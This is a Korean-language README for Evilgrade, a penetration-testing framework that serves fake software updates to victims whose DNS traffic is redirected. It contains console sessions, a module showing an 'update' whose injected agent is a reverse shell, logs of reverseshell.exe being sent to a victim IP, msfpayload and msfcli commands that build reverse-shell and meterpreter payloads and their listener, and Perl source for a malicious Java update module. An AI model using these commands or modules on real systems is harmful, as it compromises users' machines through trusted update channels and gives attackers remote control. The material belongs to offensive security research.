
Evilgrade는 사용자가 허술한 업데이트 구현을 악용하여 가짜 업데이트를 주입할 수 있도록 하는 모듈식 프레임워크입니다.
Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --
Evilgrade는 취약한 업그레이드 구현을 악용하여 가짜 업데이트를 주입할 수 있도록 해주는 모듈식 프레임워크입니다. 사전 제작된 바이너리(에이전트), 빠른 침투 테스트를 위한 작동 기본 설정, 자체 WebServer 및 DNSServer 모듈을 제공합니다. 새로운 설정을 쉽게 추가할 수 있으며, 새 바이너리 에이전트가 설정될 때 자동 구성 기능이 있습니다.
이 프레임워크는 공격자가 호스트 이름 리디렉션(피해자 DNS 트래픽 조작)을 수행할 수 있을 때 사용되며, 이러한 작업은 다음 두 가지 시나리오에서 가능합니다:
Evilgrade는 모듈로 작동하며, 각 모듈에는 특정 애플리케이션/시스템의 가짜 업데이트를 에뮬레이션하는 데 필요한 구현 구조가 있습니다.
ISR-Evilgrade는 크로스플랫폼이며, 공격 대상 플랫폼에 적합한 페이로드만 있으면 됩니다.
IOS 콘솔과 유사하게 작동합니다.``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available
Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.
## 구현된 모듈 목록``` console
evilgrade>show modules
List of modules:
===============
...
...
...
- 63 modules available.
evilgrade>conf sunjava evilgrade(sunjava)>
#### 모든 VirtualHosts를 표시합니다.
#### VirtualHost 필드에는 웹 서버가 에뮬레이트할 도메인이 포함되어 있습니다.``` console
evilgrade>show vhosts
Virtual hosts:
=============
[
"java.sun.com",
"javadl-esd.sun.com",
...
...
...
]
evilgrade(sunjava)>show options
Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"
.-------------------------------------------------------------------------------------------------------------------------. | Name | Default | Description | +--------------+-------------------------------------------------+--------------------------------------------------------+ | website | http://java.com/moreinfolink | Website displayed in the update | | enable | 1 | Status | | atitle | Critical vulnerability | Title name to be displayed in the systray item popup | | arg | | Arg passed to Agent | | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup | | description | This critical update fix internal vulnerability | Description to be displayed during the update | | agent | ./agent/reverseshellsign.exe | Agent to inject | | title | Critical update | Title name displayed in the update | '--------------+-------------------------------------------------+--------------------------------------------------------'
#### 서비스 시작 (DNS Server and WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#### Waiting for victims
evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
evilgrade>show status Webserver (pid 4134) already running
.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'
## .:: [심층 사용법] ::.
### 명령어
#### configure / conf - Configure <module-name>
예시:
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>
evilgrade>conf sunjava
evilgrade(sunjava)>
## 'conf' takes us back to the global configuration
evilgrade(sunjava)>conf
evilgrade>
##
reload - Reload to get all modules update (to refresh loaded modules, useful on development)
start - Start webserver
stop - Stop webserver (fake update server)
예시: -------``` console evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#######################################
evilgrade>stop Stopping WEBSERVER [OK] Stopping DNSSERVER [OK]
#######################################
restart - Restart services (WebServer and DNS Server) stops and starts again
#######################################
status - Get webserver and victims status
evilgrade>show status Webserver (pid 4134) already running
.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'
#######################################
show - Display information of .
#######################################
show active - Display active modules in the webserver
#######################################
show modules - Display implemented modules
#########################################
show options - Display modules/global options
evilgrade>show options
.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'
evilgrade> evilgrade(notepadplus)>conf vmware evilgrade(vmware)>show options (without started services)
Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"
.----------------------------------------------. | Name | Default | Description | +--------+-------------------+-----------------+ | enable | 1 | Status | | agent | ./agent/agent.exe | Agent to inject | '--------+-------------------+-----------------'
evilgrade(vmware)>show options (with started services after setting agent)
Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"
.--------------------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+------------------------------------------------------------------+-----------------+ | enable | 1 | Status | | agentmd5 | f80af637642170507bda998b6f2015fa | | | agentsize | 54576 | | | agent | ./agent/agent.exe | Agent to inject | | agentsha256 | 44f4e3f65f6ca375df4e0247fa0ee1efedbe2965a1c35e910d8d035ec61b76bd | | '-------------+------------------------------------------------------------------+-----------------'
#########################################
set - Configure variables global or modules
evilgrade>show options
.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 0 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'
###Let's enable DEBUG option and set as DNSAnswerIp our Inet address (192.168.1.4)
evilgrade>set debug 1 #Enable debug set debug, 1
evilgrade>set DNSAnswerIp 192.168.1.4 #Ip where evilgrade's DNS Server is listening set DNSAnswerIp, 192.168.1.4
evilgrade>show options
.-------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-------------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 192.168.1.4 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-------------+---------------------------------------------------------'
###############################
exit - exits the program
#######################################
help - prints this screen, or help on 'command'
#######################################
## .:: [고급] ::.
- 모듈 옵션:
각 모듈에는 특수 옵션이 있지만, "agent" 필드는 항상 존재합니다.
agent는 가짜 업데이트 바이너리이며, 해당 바이너리가 위치한 경로를 설정하거나 동적 가짜 업데이트 바이너리 생성을 구현해야 합니다.
[동적 가짜 업데이트 바이너리]는 외부 명령을 실행하여 바이너리를 생성할 수 있게 합니다. 예를 들어 metasploit 프레임워크의 msfpayload를 사용할 수 있습니다.
이 기능을 사용하여 metasploit의 모든 페이로드를 생성하거나 외부 인터페이스를 사용하여 바이너리를 만들 수 있습니다.
# 예제 1:```
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'
이 경우 모든 필요한 업데이트 바이너리에 대해 페이로드 "windows/shell_reverse_tcp"를 사용하여 가짜 업데이트 바이너리를 생성합니다 리버스 셸을 사용하여 주소 192.168.233.2 포트 4141에 연결합니다. 레이블 <%OUT%><%OUT>은 출력 바이너리가 생성될 위치를 감지하는 특별한 태그입니다. Evilgrade는 대괄호 '[]' 사이에 문장이 있기 때문에 "dynamic fake update binary feature"의 사용을 감지합니다. 해당 대괄호 안에는 다시 대괄호 ""로 묶인 문자열이 있으며, 이는 perl로 컴파일됩니다.
예를 들어, 다음과 같이 사용하는 경우:``` evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'
그런 다음 바이너리 요청이 있을 때마다 evilgrade는 해당 줄을 조합하고 최종 문자열 "./generatebin -o /tmp/update(random).exe"를 실행합니다.
서로 다른 에이전트를 생성합니다.
쉽지만 동적이지 않은 대안은 터미널에서 msfpayload로 직접 페이로드를 생성하고 이를 모듈의 구성에 수동으로 할당하는 것입니다.
# 예제 2:
(evilgrade 외부에서)```
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
(evilgrade 내부)``` evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
페이로드가 생성된 후, 이전에 지정된 LHOST에서 multi handler가 수신 대기하도록 둡니다.
(evilgrade 외부)```
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...
모듈 개발은 매우 간단합니다. evilgrade가 모듈 기반이므로, .pm 패키지(Perl 모듈)를 사용하기만 하면 됩니다. 이 경우 sunjava 업데이트 모듈(# 주석 포함)을 설명하겠습니다.``` perl package modules::sunjava;
use strict; use Data::Dump qw(dump);
my $base= { 'name' => 'Sun Microsystems Java', #name of the module to display in the framework 'version' => '2.0', #internal module version 'appver' => '<= 1.6.0_22', #last application version tested with this evilgrade module 'author' => [ 'Francisco Amato < famato +[AT]+ faradaysec.com>' ], #author 'description' => qq{}, #brief description 'vh' => '(java.sun.com|javadl-esd.sun.com)', #VirtualHosts that the application uses to retrieve information about the update configuration files and update binaries.
#Then we have the request object's collection
'request' => [
#Each object it's a possible HTTP request inside the virtualhost configured for the module (java.sun.com)
{
'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', #The required URL, regex friendly
'type' => 'file', #it's the response type (file|string|agent|install)
#we can use:
#file: response with content file referenced in the "file" option below (./include/sunjava_map.xml)
#string: response with a string referenced in the "string" options below
#agent: response with content file referenced in the "agent" options (options section)
#install: response with content file referenced in the "file" option below
#It's used to know if the fake update was executed
#In some update process we can specify a final page after update installed
#so we send to a controller page.
'method' => '', #not implemented yet
'bin' => '', #set to 1 if we are going to send a binary file
'string' => '', #if we have chosen the 'type' string then in this variable we set the response
'parse' => '', #set to 1 if the file or string need be parsed with options
'file' => './include/sunjava/sunjava_map.xml'
},
{
'req' => '^/java_update.xml$', #regex friendly
'type' => 'file', #file|string|agent|install
'method' => '', #any
'bin' => '',
'string' => '',
'parse' => '1',
'file' => './include/sunjava/sunjava_update.xml'
},
{
'req' => '/x.jnlp', #regex friendly
'type' => 'file', #file|string|agent|install
'method' => '', #any
'bin' => '',
'string' => '',
#In this case we parse the file
'parse' => '1',
#To parse the file we use special tags, like <%OPTIONAME%> inside the "file" or "string" field
#This tags are replaced with the values of the options, for example
#<%TITLE%> will be replaced by 'Critical update'
'file' => './include/sunjava/x.jnlp'
},
{
'req' => '.jar', #regex friendly
'type' => 'file', #file|string|agent|install
'method' => '', #any
'bin' => 1,
'string' => '',
'parse' => '',
'file' => './include/sunjava/JavaPayload/FunnyClass2.jar'
},
{
'req' => '.exe', #regex friendly
'type' => 'agent', #Here we have an agent type with a binary response
'bin' => 1,
'method' => '', #any
'string' => '',
'parse' => '',
'file' => ''
}
],
#Options
#Here we have the options that will be displayed with "show options" inside the current module.
#This options are used to parse the string or a file using in the responses
'options' => { 'agent' => { 'val' => './agent/java/javaws.exe', #The default value
'desc' => 'Agent to inject'}, #Brief description
'arg' => { 'val' => 'http://java.sun.com/x.jnlp"',
'desc' => 'Arg passed to Agent'},
'enable' => { 'val' => 1,
'desc' => 'Status'},
#The following is a dynamic hidden option,
#In this case we use the tag <%NAME%> to parse the files and execute perl functions to get randoms values
#You can use whatever you like in perl, if you're wishing to use more functions check "isrcore/utils.pm"
'name' => { 'val' => "'javaupdate'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1))",
'hidden' => 1,
'dynamic' =>1,},
#All the options depend on the update process. You have to research the possible variables and implement them on your module
#These are the mostly common update messages, webpages, descriptions, popup messages, title, etc
'title' => { 'val' => 'Critical update',
'desc' => 'Title name displayed in the update'},
'description' => { 'val' => 'This critical update fix internal vulnerability',
'desc' => 'Description to be displayed during the update'},
'atitle' => { 'val' => 'Critical vulnerability',
'desc' => 'Title name to be displayed in the systray item popup'},
'adescription' => { 'val' => 'This critical update fix internal vulnerability',
'desc' => 'Description to be displayed in the systray item popup'},
'website' => { 'val' => 'http://java.com/moreinfolink',
'desc' => 'Website displayed in the update'}
}
};
## .:: [팁] ::.
1) evilgrade를 청취 소켓을 생성할 권한이 있는 사용자로 실행하는 것을 잊지 마십시오. 그렇지 않으면 evilgrade의 서비스를 사용할 수 없습니다.
2) evilgrade가 실행 중인 상태에서 모듈을 수정할 때마다 'reload'하는 것을 잊지 마십시오.
3) 서비스를 시작하기 전에 바이너리 'agents'를 설정하십시오. evilgrade가 이미 실행 중인 상태에서는 채울 수 없는 필드(agentmd5, agentsha256, agentsize)가 있기 때문입니다.
4) 다음과 같은 변수를 사용하는 동적 응답을 사용하는 경우: <%AGENTSIZE%>, <%AGENTMD5%>, <%URL\_FILE%>, <%URL\_FILE\_EXT%>, 또는 옵션 섹션에서 정의된 사용자 정의 변수가 있다면, *parse*를 1로 설정하는 것을 잊지 마십시오.
5) 에이전트를 주입하는 경우에도 마찬가지로, *bin* 플래그를 1로 활성화해야 합니다.
6) HTTP를 사용하여 일반 텍스트 응답을 만들려면 *cheader* 플래그를 사용하십시오. 아래 예시:```
{ 'req' => '/sitepath/download/file.zip'
, #regex friendly
'type' => 'string', #file|string|agent|install
'method' => '', #any
'bin' => '',
'string' => '',
'parse' => '1',
'file' => '',
'cheader' => "HTTP/1.1 302 Found\r\n"
. "Location: http://sitedomain.com/<%URL_FILE%>.exe \r\n"
. "Content-Length: 0 \r\n"
. "Connection: close \r\n\r\n",
},
7) To filter via User-Agent, use as an example the Sparkle2 module. In base add 'useragent' => 'true', and on a request use as you would use the 'req' field but for user agents in 'useragent'. Note that this field already stripped "User-Agent: ".
Data::Dump
Digest::MD5
Time::HiRes
RPC::XML
## .:: [더 많은 정보] ::.
이 프레임워크는 다음 보안 컨퍼런스에서 발표되었습니다:```
· ekoparty 2007 [Buenos Aires, Argentina] [www.ekoparty.org]
· Troopers 2008 [Munich, Germany] [www.troopers08.org]
· Shakacon 2008 [Hawaii, USA] [www.shakacon.org]
· H2HC 2009 [Brazil] [www.h2hc.com.br]
· Blackhat Arsenal & Defcon 2010 [Las Vegas, USA] [www.blackhat.com www.defcon.org]
Francisco Amato famato+at+faradaysec+dot+com